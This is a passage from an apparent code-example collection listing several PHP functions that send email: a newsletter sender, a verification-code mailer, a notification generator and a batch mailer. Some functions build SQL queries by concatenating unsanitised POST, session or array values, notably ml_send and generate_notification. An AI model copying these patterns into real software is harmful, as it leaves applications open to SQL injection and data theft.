            $mail_status = send_mail('Contacts', $entityData->get('email'), $current_user->user_name, "", $subject, $contents);
        }
    } else {
        $sql = "UPDATE vtiger_portalinfo SET user_name=?,isactive=0 WHERE id=?";
        $adb->pquery($sql, array($email, $entityId));
    }
}
Exemplo n.º 27
0
function ml_send()
{
    global $tpl, $pdo;
    $tpl->assign("title", $_POST['title']);
    $tpl->assign("content", $_POST['content']);
    $users = array();
    $valid = array();
    $mail_send = array();
    if (isset($_POST["group"])) {
        $group = implode(",", $_POST["group"]);
        //SELECT u.user_email, u.user_name FROM user_sections as s, users as u where s.us_section = 2 and s.us_type != 'rejected' and s.us_user = u.user_id;
        $query = 'SELECT * FROM users WHERE user_name != "admin" and user_newsletter = "SUBSCRIBED" and user_role in (' . $group . ')';
        //var_dump($query);
        $sql = $pdo->query($query);
        while ($s = $sql->fetch(PDO::FETCH_OBJ)) {
            if ($s->user_email) {
                $users[] = $s;
                send_mail($s, $valid);
                $mail_send[] = $s->user_email;
            }
            //var_dump($mail->ErrorInfo);
        }
    }
    if (isset($_POST['users'])) {
        $mails = explode(";", $_POST['users']);
        foreach ($mails as $mail) {
            if (!in_array($mail, $mail_send)) {
                $sql = $pdo->prepare('SELECT * FROM trip_contacts, users, trip_userfiles' . ' WHERE ta_user = user_id' . ' AND ((ta_id = tu_participant AND ta_mail = :mail) OR (tu_participant = 0 AND tu_user = user_id AND user_email = :mail))');
                $sql->bindValue(':mail', $mail);
                $sql->execute();
                while ($line = $sql->fetch(PDO::FETCH_OBJ)) {
                    $users[] = $line;
                    send_mail($line, $valid);
                }
                $mail_send[] = $mail;
            }
        }
    }
    $err = "";
    $tpl->assign('users', $users);
    $tpl->assign('mails', $mail_send);
    if (count($valid) > 0) {
        $err = "Impossible d'envoyer des mails aux adresses suivantes: " . implode(", ", $valid);
    }
    if (isset($_POST["send"])) {
        $tpl->assign('hsuccess', $err == "" ? true : $err);
    }
    //var_dump($users);
    display();
}
Exemplo n.º 28
0
/**
 * 发送邮箱验证所需的验证码
 */
function action_send_email_code()
{
    $_LANG = $GLOBALS['_LANG'];
    $_CFG = $GLOBALS['_CFG'];
    $smarty = $GLOBALS['smarty'];
    $db = $GLOBALS['db'];
    $ecs = $GLOBALS['ecs'];
    require_once ROOT_PATH . 'includes/lib_validate_record.php';
    $email = trim($_SESSION[VT_EMAIL_VALIDATE]);
    if (empty($email)) {
        exit("邮箱不能为空");
        return;
    } else {
        if (!is_email($email)) {
            exit("邮箱格式不正确");
            return;
        } else {
            if (check_validate_record_exist($email)) {
                $record = get_validate_record($email);
                /**
                 * 检查是过了限制发送邮件的时间
                 */
                if (time() - $record['last_send_time'] < 60) {
                    echo "每60秒内只能发送一次注册邮箱验证码,请稍候重试";
                    return;
                }
            }
        }
    }
    require_once ROOT_PATH . 'includes/lib_passport.php';
    /* 设置验证邮件模板所需要的内容信息 */
    $template = get_mail_template('email_validate');
    // 生成邮箱验证码
    $email_code = rand_number(6);
    $GLOBALS['smarty']->assign('email_code', $email_code);
    $GLOBALS['smarty']->assign('shop_name', $GLOBALS['_CFG']['shop_name']);
    $GLOBALS['smarty']->assign('send_date', date($GLOBALS['_CFG']['date_format']));
    $content = $GLOBALS['smarty']->fetch('str:' . $template['template_content']);
    /* 发送激活验证邮件 */
    $result = send_mail($email, $email, $template['template_subject'], $content, $template['is_html']);
    if ($result) {
        // 保存验证码到Session中
        $_SESSION[VT_EMAIL_VALIDATE] = $email;
        // 保存验证记录
        save_validate_record($email, $email_code, VT_EMAIL_VALIDATE, time(), time() + 30 * 60);
        echo 'ok';
    } else {
        echo '邮箱验证码发送失败';
    }
}
Exemplo n.º 29
0
/** Function generate_notification
  * Purpose: Create and Save Notifications in DB
  * [params]
  * $notif_data = array containing keys (template_id, user_id, from_user_id, objects, object_id, object_location, visit_url, notif_details)
  * all fields within the param are compulsory/required.
*/
function generate_notification($notif_data, $send_email = false)
{
    if (!is_array($notif_data) || count($notif_data) <= 0) {
        return false;
    }
    if (!array_key_exists('user_id', $notif_data)) {
        return false;
    }
    #/ Check Receiver's Notification settings
    $user_notif_settings = get_notif_perm($notif_data['user_id'], $notif_data['template_id']);
    if ($user_notif_settings == 'stop') {
        return false;
    }
    $created_on = date('Y-m-d H:i:s');
    #/ Save in DB & Generate Notification
    $sql_notif = "INSERT INTO user_notifications\n    (template_id, user_id, from_user_id, objects, object_id, object_location, visit_url, created_on)\n    VALUES ('{$notif_data['template_id']}', '{$notif_data['user_id']}', '{$notif_data['from_user_id']}', '{$notif_data['objects']}', '{$notif_data['object_id']}', '{$notif_data['object_location']}', '{$notif_data['visit_url']}', '{$created_on}')";
    @mysql_exec($sql_notif, 'save');
    if ($send_email != false) {
        #/ Get Notification & its Participant data
        $notification_data = get_notification_msg($notif_data);
        //, $send_email
        if (empty($notification_data) || !is_array($notification_data) || count($notification_data) < 2) {
            return false;
        }
        if (!array_key_exists('users_info', $notification_data) || !array_key_exists('notification', $notification_data)) {
            return false;
        }
        //var_dump("<pre>", $notification_data); die();
        ##/ Send Email if Allowed
        if (function_exists('send_mail') != true) {
            include_once '../includes/send_mail.php';
        }
        $from_usr = empty($notif_data['from_user_id']) ? '' : @$notification_data['users_info'][$notif_data['from_user_id']];
        $to_usr = @$notification_data['users_info'][$notif_data['user_id']];
        if (!is_array($to_usr) || count($to_usr) <= 0) {
            return false;
        }
        //var_dump($from_usr, $to_usr); die();
        if (function_exists('notification_email') != true) {
            include_once '../includes/email_templates.php';
        }
        $subject = strip_tags($notification_data['notification']);
        $heading = "New Notification from collaborateUSA.com";
        $body_in = notification_email($from_usr, $to_usr, $notification_data['notification'], $created_on, @$notif_data['visit_url'], @$notif_data['notif_details']);
        send_mail($to_usr['email_add'], $subject, $heading, $body_in);
        #-
    }
    //end if email...
}
Exemplo n.º 30
0
function do_email_batch(&$offset, $chunksize)
{
    global $dbcon;
    global $Web_url;
    global $process_delay;
    $updatefile = "email.php";
    //if set to "none" skips the footer
    //glog("------ start chunk ------ offset=$offset -----");
    $list = $_SESSION['list'];
    ## get mailing list ##
    $timestart = getmicrotime();
    $sql = "SELECT distinct email.id, email.email ";
    $sql .= "FROM subscription, email ";
    $sql .= "WHERE email.id=subscription.userid ";
    if ($list != 9000) {
        $sql .= "AND subscription.listid={$list} ";
    }
    $sql .= "LIMIT {$offset},{$chunksize} ";
    $contact_list = $dbcon->Execute("{$sql}") or die($dbcon->ErrorMsg());
    if ($contact_list->RecordCount() == 0) {
        echo "done";
        return 'Done.';
        // we must be done!
    }
    set_time_limit(0);
    $smtp = new smtp_client();
    $smtp->log_file = dirname(__FILE__) . "/smtp_client.log";
    $smtp->do_log = false;
    while (!$contact_list->EOF) {
        $offset++;
        $userid = $contact_list->Fields("id");
        $email = $contact_list->Fields("email");
        if (email_is_valid($email)) {
            $ok = send_mail($smtp, $Web_url, $userid, $email, $offset, $updatefile);
            if (!$ok) {
                $return_message = "Sending Halted!<br>Error: could not send email {$email}, id {$userid}, record #{$offset}";
                break;
            }
        }
        echo "\n";
        flush();
        usleep($process_delay * 1000);
        $contact_list->MoveNext();
    }
    $smtp->send();
    $elapsedtime = getmicrotime() - $timestart;
    echo "elapsed time: {$elapsedtime}";
    return 'success';
}